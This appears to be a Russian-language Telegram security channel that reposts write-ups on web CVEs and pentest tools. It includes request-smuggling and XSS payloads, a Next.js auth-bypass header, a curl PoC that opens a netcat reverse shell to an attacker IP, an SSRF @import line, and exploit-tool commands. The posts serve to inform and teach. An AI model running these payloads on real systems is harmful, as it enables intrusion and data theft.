Fsecurity | HH
2.06K subscribers
1.74K photos
105 videos
62 files
6.2K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from SHADOW:Group
🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах

Раскрыли подробности CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.

Пример

Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle находится в теле HEAD-запроса:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost


Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.

Сценарии атак

Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).

Пример с Kong Gateway

Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.

1️⃣ Внедрение XSS через смуглинг

Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:


Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.

2️⃣ Обход защиты фронт-прокси (Cloudflare)

Допустим, Cloudflare блокирует доступ к /admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.

Пример:

HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com


Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.

3️⃣ Кража ответов других пользователей

Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.

Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.

Подробности

Более подробное описание читайте в блоге по ссылке.

#web #hrs #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from SHADOW:Group
↔️ Next.js и повреждённый middleware

Раскрыли подробности новой уязвимости в Next.JS CVE-2025-29927. Уязвимость затрагивает все версии Next.js начиная с 11.1.4. Суть проблемы — некорректная обработка заголовка x-middleware-subrequest, позволяющая полностью игнорировать middleware, включая проверку авторизации и перезапись путей.

Как это работает

Next.js использует x-middleware-subrequest для внутренних нужд: он указывает, какие middleware уже были пройдены. Однако злоумышленник может сам подставить значение, указывающее, что middleware уже обработан, и тем самым обойти все проверки.
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Пример запроса:
GET /admin/dashboard HTTP/1.1
Host: vulnerable.site
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Результат: Middleware полностью игнорируется, и запрос проходит, как будто пользователь авторизован.

Другие сценарии атак

🔹CSP bypass
Если middleware устанавливает Content-Security-Policy и другие заголовки - они будут проигнорированы.

🔹DoS через Cache Poisoning
Например, если сайт делает rewrite на основе геолокации, можно закэшировать "пустую" или ошибочную версию страницы, нарушив доступность для других.

Кого это касается
Приложения, использующие middleware для авторизации или других чувствительных задач. Если middleware не используется - уязвимость малозначима (кроме DoS-сценариев).

📖 Подробнее:
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

#web #bac #cache #dos #csp
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🔄 🖥 URLFinder v0.0.3

Высокоскоростной инструмент для пассивного сбора и эффективного обнаружения URL-адресов. От создателей nuclei, написан на 💻

UPD. Добавили scope контроль:

SCOPE:
-us, -url-scope string[] in scope url regex to be followed by urlfinder
-uos, -url-out-scope string[] out of scope url regex to be excluded by urlfinder
-fs, -field-scope string pre-defined scope field (dn,rdn,fqdn) or custom regex (e.g., '(company-staging.io|company.com)') (default "rdn")
-ns, -no-scope disables host based default scope
-do, -display-out-scope display external endpoint from scoped crawling


Установка:

go install -v github.com/projectdiscovery/urlfinder/cmd/urlfinder@latest


Запуск:

urlfinder -d tesla.com

# Match и filter
urlfinder -d tesla.com -m support -f faq

urlfinder -d tesla.com -m include-patterns.txt -f exclude-patterns.txt

# JSON export
urlfinder -d tesla.com -j


🖥 Home

#urlfinder #soft #golang #web #pentest

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🖥 OWASP SamuraiWTF 5.3

Виртуальная лаборатория, основанная на 🐧 для тренировки веб пентеста с открытым исходным кодом

Предустановленные лабы и инструменты:

▪️ OWASP Juice Shop
▪️ WebGoat
▪️ Mutillidae
▪️ bWAPP
▪️ DVWA
▪️ Burp Suite
▪️ Nikto
▪️ SQLMap


➡️ Home
➡️ Download
🖥 Source
🖥 Docs

#web #pentest #samurai

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
📞 Upload_Bypass v3.0.9-dev

Инструмент, предназначенный для тестирования механизмов загрузки файлов (upload forms). Использует различные методы поиска ошибок, чтобы упростить процесс выявления и эксплуатации уязвимостей.

С простенькими формами и уязвимостями справляется, тестировалось на машине HackTheBox - Magic

Работает с request файлом взятым из 😈 Burp, в Repeater ПКМ - copy to file. Заменить содержимое, имя файла и mime type на *content*, *filename*, *mimetype* соответственно.

Установка:

git clone https://github.com/sAjibuu/Upload_Bypass.git

pip install -r requirements.txt


Режим детектирования:

python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --detect


Режим эксплуатации:

python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --exploit


Anti malware mode:

 python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --anti_malware


💻 Home

#web #pentest #upload #python #soft

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🕸 humble v1.48

Хороший анализатор HTTP заголовков

В 🐧 Kali есть в репозиториях:

sudo apt install humble


Использование:

python3 humble.py -u https://www.spacex.com


💻 Home

#humble #web #pentest

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🕸 Hacksplaining

Ресурс с интерактивными примерами эксплуатации веб уязвимостей. Также указаны методы противодействия, подойдет новичкам.

Различные темы, от классических sqli, xss, xxe и т.д. до LLM Prompt Injection

➡️ https://hacksplaining.com

#web #pentest

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from hx0110
watchtowr

Сегодня вышел еще один классный ресерч у watchtowr. На самом деле очень люблю читать их ресерчи, очень близок их подход к написанию и в целом то, как они показывают весь процесс поиска уяз

https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/

#web #research
Forwarded from SHADOW:Group
Год назад эту защиту нельзя было обойти, однако сейчас это стало реально. Про интересную особенность рассказали в X.

Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (URL вернет действительное имя хоста с любым недействительным протоколом, даже с точкой)

Соответственно, мы можем использовать пэйлоад типа evil.com://www.example.com. Хост www.example.com будет в списке разрешенных, к параметру добавится префикс «https://» и мы получим редирект на https://evil.com//www.example.com.

#web #bypass
Forwarded from hx0110
Authentication Bypass to RCE in Versa Concerto

На прошедшем phd ребята из project discovery представили несколько своих зиродеев. Сам доклад можно глянуть тут. Одним из таргетов была Versa Concerto:
Versa Concerto is a widely used network security and SD-WAN orchestration platform

Их ресёрч вышел совсем недавно, и в нём разобраны отличные находки, которые собираються в красивую цепочку:

1. Auth bypass за счет TOCTOU
2. Примитив записи файла (однако файл быстро удалялся из-за отсутствия токена доступа)
3. Race condition to RCE - имея примитив из п.2, остаеться попасть в race window, загрузив ld.so.preload, ссылающуюся на hook.so, и саму вредоносную либу hook.so, которая будет подгружена.
4. Так как каждые 10 секунд внутри контейнера запускается curl, необходимо, чтобы в момент его запуска и ld.so.preload, и hook.so находились в системе. Как только все условия выполнены — RCE (пока в контейнере).

❗️Также упоминается уязвимость hop-by-hop headers, которая позволяет получить административный доступ и, например, выполнить п.3 и п.4 без необходимости попадания в race window.

5. Поскольку каталоги /usr/bin и /bin контейнера были примаунчены к одноимённым каталогам хостовой ОС, и на хосте по умолчанию работал cron, появилась возможность перезаписать бинарный файл и добиться его исполнения уже на хосте, что позволило получить RCE на хостовой машине.

Красиво!🔥

Ресерч: https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce

#web #vulns
Please open Telegram to view this post
VIEW IN TELEGRAM
👏1
Небезопасная генерация токена

Что может быть проще: сброс пароля, подтверждение почты или аутентификация по токену? Но если ваш токен генерируется геморройно простым методом — у злоумышленника появляется прямой доступ к системе. Давайте разберёмся, почему до сих пор взламываются даже крупные сервисы и почему “уникальный токен” — не всегда синоним безопасности.

🟢 Как появляется проблема:

Иногда разработчики генерят токены через стандартные функции вроде rand() или time(), добавляя к ним user_id или инкрементный счетчик. Примеры из реального мира:
- Сброс пароля: token = md5(time() . user_id)
- Авторизация: просто strval(rand())

❗️По факту — это не токен, а открытая дверь, где “замок” известен каждому умеющему читать код. Если сервер при отправке ссылки для сброса пароля проверяет только такой токен — любой, у кого есть доступ к user_id и времени генерации, сможет подобрать нужное значение и получить доступ к чужому аккаунту.

🔊 Как это эксплуатируют:
Самый частый паттерн:
1. Изучаем токен — часто можно декодировать его, видим время или user_id.
2. Получаем user_id жертвы (через API или просто по URL).
3. Генерируем гипотетические значения токена по шаблону, который использует сервер.
4. Подставляем их в запрос — вход срабатывает. Профит.

📌 Даже хуже, если используется стандартный rand() на популярных языках — достаточно знать seed или время запуска генератора, чтобы воспроизвести последовательность токенов полностью (пример: предсказуемые токены сброса пароля в старых версиях некоторых CMS).

🔔 Как делать правильно?

Используйте только криптографически стойкие генераторы случайных чисел:
- Для PHP: random_bytes() и bin2hex()
- Для Python: secrets.token_urlsafe()
- Для Node.js: crypto.randomBytes()

Короче — никогда не генерируйте security-токены с помощью наивных функций и не смешивайте их с очевидными константами (user_id, timestamp и прочее)! Любой аудитор кода обязан сразу поднимать тревогу, видя старые добрые md5(time()).

Когда вы в последний раз проверяли генерацию токенов в своем проекте? Поделитесь кейсами — у кого встречались "простейшие" реализации? 👀

📶 Полезная ссылка: https://cqr.company/ru/web-vulnerabilities/insecure-token-generation/

ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from SHADOW:Group
🌧Как мы получили хранимый XSS на каждом сайте AEM CLOUD, трижды

От банальной оплошности в проверке префикса пути и тонкостей кэширования CDN, до оригинального использования символов табуляции в URL и особенностей обработки редиректов в Fastly Edge Worker.

Читать статью

#web #xss #cloud #proxy
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🛡 CVE-2025-48703 - RCE in CentOS Web Panel File Manager module

RCE уязвимость приложения для управления серверами CentOS Web Panel
Проблема в функции acc=changePerm, где не производится должная проверка входных данных, что позволяет выполнить произвольный код в параметре t_total

❗️ Эту атаку можно выполнить с минимальной аутентификацией или в некоторых конфигурациях, с не аутентифицированным доступом.


🔗 Research

PoC:

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
--data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'


💻 Scanner

#cve #poc #centoswebpanel #web

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
😈 Repeater Strike: manual testing, amplified

В этой статье мы представляем Repeater Strike - новое расширение Burp Suite на базе AI, предназначенное для автоматизации поиска IDOR и подобных уязвимостей


🔗 PortSwigger

#portswigger #web #burp

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from вольтаж
file://localhost/etc/passwd
что вернёт?

Да, вернётся /etc/passwd.

В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>

Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.

питон пок

from urllib.request import urlopen

content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')

print(content)


Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.

В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?


Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.

Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49


Уже на стену лезешь? Погоди, я с тобой ещё не закончил.

Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?

В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱


# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png


RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %

То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.

. . .

FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]

⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]

⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]


Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]

2. иной подход к протоколу file:// [^]

3. пролом parse_url в PHP [^]


#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from HaHacking
⚠️ #web #offense #события #заметки

➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)?

Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;


🐇 Проблема

Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function]глобальный конструктор;


Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);

Соответственно, можем сформировать специальный объект, где then указывал бы на Function.


files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}



🐇 Эксплуатация

0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок;

1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;

2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка;

3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj);

4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;

5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️

6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError; В запросе должен быть заголовок Next-Action


🐇 Полезная нагрузка

crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}


Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;



🐇 Обнаружение & Митигация

   🧩   WAF правила:  AWS / Google Cloud / Azure

   🧩   Шаблон Nuclei:  projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml


CVE-2025-55182
Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components


CVE-2025-66478
Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478




Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:

   🧩   msanft/CVE-2025-55182

   🧩   maple3142/48bc9393f45e068cf8c90ab865c0f5f3

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}



➡️Stay safe!

   @HaHacking  🐇
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Forwarded from Whitehat Lab
🔄 💉 Commix v4.1-stable

UPD. Большой апдейт

Комбайн для эксплуатации Command Injection уязвимостей, написан на python 💻 Команды, ключи, вывод и все остальное очень похоже на SQLMap.

В 🐧 Kali предустановлен.

Установка:

git clone https://github.com/commixproject/commix.git commix
python commix.py -h


"Детский" режим:

python commix --wizard


Обычный запуск:

python commix -u http://62.173.140.174:16016/ --data 'action='


Поддержка тамперов:

python commix -u http://62.173.140.174:16016/ --data 'action=' --tamper=space2ifs


Список тамперов:

python commix --list-tampers

💻 Download
⚙️ Usage examples

#commix #python #pentest #soft #web

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from HaHacking
⚠️ #заметки #события #offense #infrastructure #web

➡️НЕ рейтинг (боже упаси), но обзор! Самые громкие CVE за год: те, что заработали высокий CVSS, и те, что просто вызвали эмоции;


🐰 React2Shell / React Server Unauth RCE ⚡️
ℹ️ CVE-2025-55182 / CVE-2025-66478 / ...

В связи с небезопасной десериализацей: запрос со специально сформированным объектом➡️Unath RCE на тысячах хостов;

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"██████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}


▪️ Пост @HaHacking с разбором!
▪️ react2shell.com
▪️ github.com/msanft/CVE-2025-55182
▪️ Оригинальный PoC от автора
Очень детальный анализ


🐰 FortiWeb: RCE Chain
ℹ️ CVE-2025-64446CVE-2025-58034

CVE-2025-64446Path Traversal в ApacheCGI Auth Bypass➡️Unauth создание административных аккаунтов;

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
CGIINFO: <CGIINFO>

{"data": {██████}}


CVE-2025-58034 — Auth исполнение произвольных системных команд; Вместе с CVE-2025-64446➡️цепочка для RCE;

▪️ Статья-обзор, CVE-2025-64446
▪️ Статья-обзор, CVE-2025-58034


🐰 Grafana PrivEsc
ℹ️ CVE-2025-41115

Из-за некорректного маппинга идентификаторов в SCIM возможна подмена externalId / создание пользователя с externalId=1➡️коллизия, вход под любым пользователем / администратором;

POST /api/scim/v2/Users

{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "externalId": ██████, ...}



🐰 pgAdmin RCE
ℹ️ CVE-2025-2945, CVE-2025-13780

CVE-2025-2945 — для обработки запросов в модулях Query Tool / Cloud Deployment использовался eval()➡️Auth RCE: py0zz1.tistory.com/.../Remote-Code-Execution-Vulnerability-in-pgAdmin-CVE-2025-2945;

POST /sqleditor/query_tool/download/<ID>
{"query_commited": "██████"}

POST /cloud/deploy
{"high_availability": "██████"}


CVE-2025-13780 — Regex для блокировки опасных метакоманд в PLAIN-дампах не учитывал некоторые последовательности (\r, \x0B, \x0C, \xEF\xBB\xBF, ...)➡️RCE;

▪️ Статья-обзор
▪️ github.com/zeropwn/pgadmin4-9.10-CVE-2025-13780


🐰 ASP[.]NET Core HTTP Request Smuggling
ℹ️ CVE-2025-55315

Всё по заветам ‟HTTP/1.1 must die” от James Kettle — благодаря особенностям протокола + недостаточной фильтрации➡️HTTP Request Smuggling;

Например, вот этот запрос вернёт xy:
POST /Echo HTTP/1.1
Host: <HOSTNAME>
Transfer-Encoding: chunked
Content-Type: text/plain

2;\n
xx\r\n
xy\r\n
0\r\n
\r\n


▪️ Статья-обзор от автора
Очень детальный анализ


🐰 RediShell / Redis Lua Auth RCE
ℹ️ CVE-2025-49844

13 лет томилась в кодовой базе, чтобы в этом году выстрелить: из-за особенностей работы со стеком, обработка специального скрипта может привести к Use-After-Free➡️выход из песочницы Lua, RCE:

▪️ Статья-обзор
▪️ github.com/raminfp/redis_exploit


🐰 MongoBleed / MongoDB Unauth Memory Leak
ℹ️ CVE-2025-14847

Отправка специальных сообщений с увеличенными значениями длины, чтобы сервер выделил побольше памяти (верит на слово, несмотря на размер после разжатия) + без \0, чтобы не заканчивал читать➡️утечка памяти в ответе;

▪️ Статья-обзор
▪️ github.com/joe-desimone/mongobleed


➡️Stay safe!

   @HaHacking  🐇 [🍬]
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from SHADOW:Group
У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.

Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:

@import url(https://attacker.com/test?.css)

и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.

Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.

#web #ssrf #pdf
Forwarded from Whitehat Lab
Искал медь, а нашел зол штуковину для фанатов XSS 😅

🔗 Site
💻 Repo

#xss #web #pentest

✈️ Telegram 💬 MAX
Please open Telegram to view this post
VIEW IN TELEGRAM